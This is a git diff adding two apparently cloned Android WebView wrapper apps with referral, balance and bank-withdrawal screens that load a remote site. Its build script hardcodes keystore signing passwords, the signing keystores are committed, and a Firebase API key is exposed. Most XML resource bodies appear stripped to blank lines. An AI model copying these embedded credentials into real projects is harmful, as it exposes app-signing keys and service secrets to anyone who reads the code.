b/okebos/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/okebos/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/okebos/src/main/res/drawable/input_bg.xml b/okebos/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/okebos/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/okebos/src/main/res/drawable/pass_word_bg.xml b/okebos/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/okebos/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/okebos/src/main/res/drawable/pass_word_bg1.xml b/okebos/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/okebos/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/okebos/src/main/res/drawable/pass_word_bg2.xml b/okebos/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/okebos/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/okebos/src/main/res/drawable/shape_btn_bg.xml b/okebos/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/okebos/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/okebos/src/main/res/drawable/shape_dialog_bg2.xml b/okebos/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/okebos/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/okebos/src/main/res/drawable/shape_dialog_bg3.xml b/okebos/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/okebos/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/okebos/src/main/res/drawable/shape_dialog_bg_new.xml b/okebos/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/okebos/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/okebos/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/okebos/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/okebos/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/okebos/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/okebos/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/okebos/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/okebos/src/main/res/mipmap-hdpi/ic_empty.png b/okebos/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/okebos/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/okebos/src/main/res/mipmap-hdpi/ic_pull_down.png b/okebos/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/okebos/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/okebos/src/main/res/mipmap-xhdpi/ic_close.png b/okebos/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/okebos/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/okebos/src/main/res/mipmap-xhdpi/ic_menu.png b/okebos/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/okebos/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/okebos/src/main/res/mipmap-xxhdpi/app_logo.png b/okebos/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..eb71f02 Binary files /dev/null and b/okebos/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/okebos/src/main/res/values-en/strings.xml b/okebos/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/okebos/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/okebos/src/main/res/values-night/themes.xml b/okebos/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/okebos/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/okebos/src/main/res/values/colors.xml b/okebos/src/main/res/values/colors.xml new file mode 100644 index 0000000..3c38c8f --- /dev/null +++ b/okebos/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #0f0f0f + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/okebos/src/main/res/values/strings.xml b/okebos/src/main/res/values/strings.xml new file mode 100644 index 0000000..efcc5e0 --- /dev/null +++ b/okebos/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + OKEBOS + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/okebos/src/main/res/values/themes.xml b/okebos/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/okebos/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/okebos/src/main/res/xml/app_updater_paths.xml b/okebos/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/okebos/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/okebos/src/main/res/xml/network_security_config.xml b/okebos/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/okebos/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/okebos/src/main/res/xml/provider_paths.xml b/okebos/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/okebos/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/okebos/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/okebos/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/okebos/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/okego/.gitignore b/okego/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/okego/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/okego/build.gradle b/okego/build.gradle new file mode 100644 index 0000000..c4ca93d --- /dev/null +++ b/okego/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.okego" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "okego" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/okego/dskjweb.jks b/okego/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/okego/dskjweb.jks differ diff --git a/okego/google-services.json b/okego/google-services.json new file mode 100644 index 0000000..90a545c --- /dev/null +++ b/okego/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "989163327252", + "project_id": "okego-a50f6", + "storage_bucket": "okego-a50f6.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:989163327252:android:897b0ddbcce1538f567c01", + "android_client_info": { + "package_name": "com.web.okego" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyA2UKFcMGBzEYb1xgZQQFOaUjMA3vDn1-E" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/okego/ppn.jks b/okego/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/okego/ppn.jks differ diff --git a/okego/proguard-rules.pro b/okego/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/okego/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/okego/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/okego/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/okego/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/okego/src/main/AndroidManifest.xml b/okego/src/main/AndroidManifest.xml new file mode 100644 index 0000000..80254b3 --- /dev/null +++ b/okego/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/okego/src/main/java/com/web/okego/MainActivity.java b/okego/src/main/java/com/web/okego/MainActivity.java new file mode 100644 index 0000000..c38dd7b --- /dev/null +++ b/okego/src/main/java/com/web/okego/MainActivity.java @@ -0,0 +1,50 @@ +package com.web.okego; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 188; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://okego33.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#0b1d96"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#0b1d96"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/okego/src/main/java/com/web/okego/MyFirebaseMessageingService.java b/okego/src/main/java/com/web/okego/MyFirebaseMessageingService.java new file mode 100644 index 0000000..3ea48b9 --- /dev/null +++ b/okego/src/main/java/com/web/okego/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.okego; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/okego/src/main/java/com/web/okego/WebApplication.java b/okego/src/main/java/com/web/okego/WebApplication.java new file mode 100644 index 0000000..df736cf --- /dev/null +++ b/okego/src/main/java/com/web/okego/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.okego; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/okego/src/main/res/drawable-anydpi/ic_action_back.xml b/okego/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/okego/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/okego/src/main/res/drawable-hdpi/ic_action_back.png b/okego/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/okego/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/okego/src/main/res/drawable-mdpi/ic_action_back.png b/okego/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/okego/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/okego/src/main/res/drawable-v24/ic_launcher_foreground.xml b/okego/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/okego/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/okego/src/main/res/drawable-xhdpi/ic_action_back.png b/okego/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/okego/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/okego/src/main/res/drawable-xxhdpi/ic_action_back.png b/okego/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/okego/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/okego/src/main/res/drawable/big_bg.xml b/okego/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..babbfff --- /dev/null +++ b/okego/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/okego/src/main/res/drawable/ic_launcher_background.xml b/okego/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/okego/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/okego/src/main/res/drawable/input_bg.xml b/okego/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/okego/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/okego/src/main/res/drawable/pass_word_bg.xml b/okego/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/okego/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/okego/src/main/res/drawable/pass_word_bg1.xml b/okego/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/okego/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/okego/src/main/res/drawable/pass_word_bg2.xml b/okego/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/okego/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/okego/src/main/res/drawable/shape_btn_bg.xml b/okego/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/okego/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/okego/src/main/res/drawable/shape_dialog_bg2.xml b/okego/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/okego/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/okego/src/main/res/drawable/shape_dialog_bg3.xml b/okego/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/okego/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/okego/src/main/res/drawable/shape_dialog_bg_new.xml b/okego/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/okego/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/okego/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/okego/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/okego/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/okego/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/okego/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/okego/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/okego/src/main/res/mipmap-hdpi/ic_empty.png b/okego/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/okego/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/okego/src/main/res/mipmap-hdpi/ic_pull_down.png b/okego/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/okego/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/okego/src/main/res/mipmap-xhdpi/ic_close.png b/okego/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/okego/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/okego/src/main/res/mipmap-xhdpi/ic_menu.png b/okego/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/okego/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/okego/src/main/res/mipmap-xxhdpi/app_logo.jpg b/okego/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..abb75de Binary files /dev/null and b/okego/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/okego/src/main/res/values-en/strings.xml b/okego/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/okego/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/okego/src/main/res/values-night/themes.xml b/okego/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/okego/src/main/res/values-night/themes.xml @@ 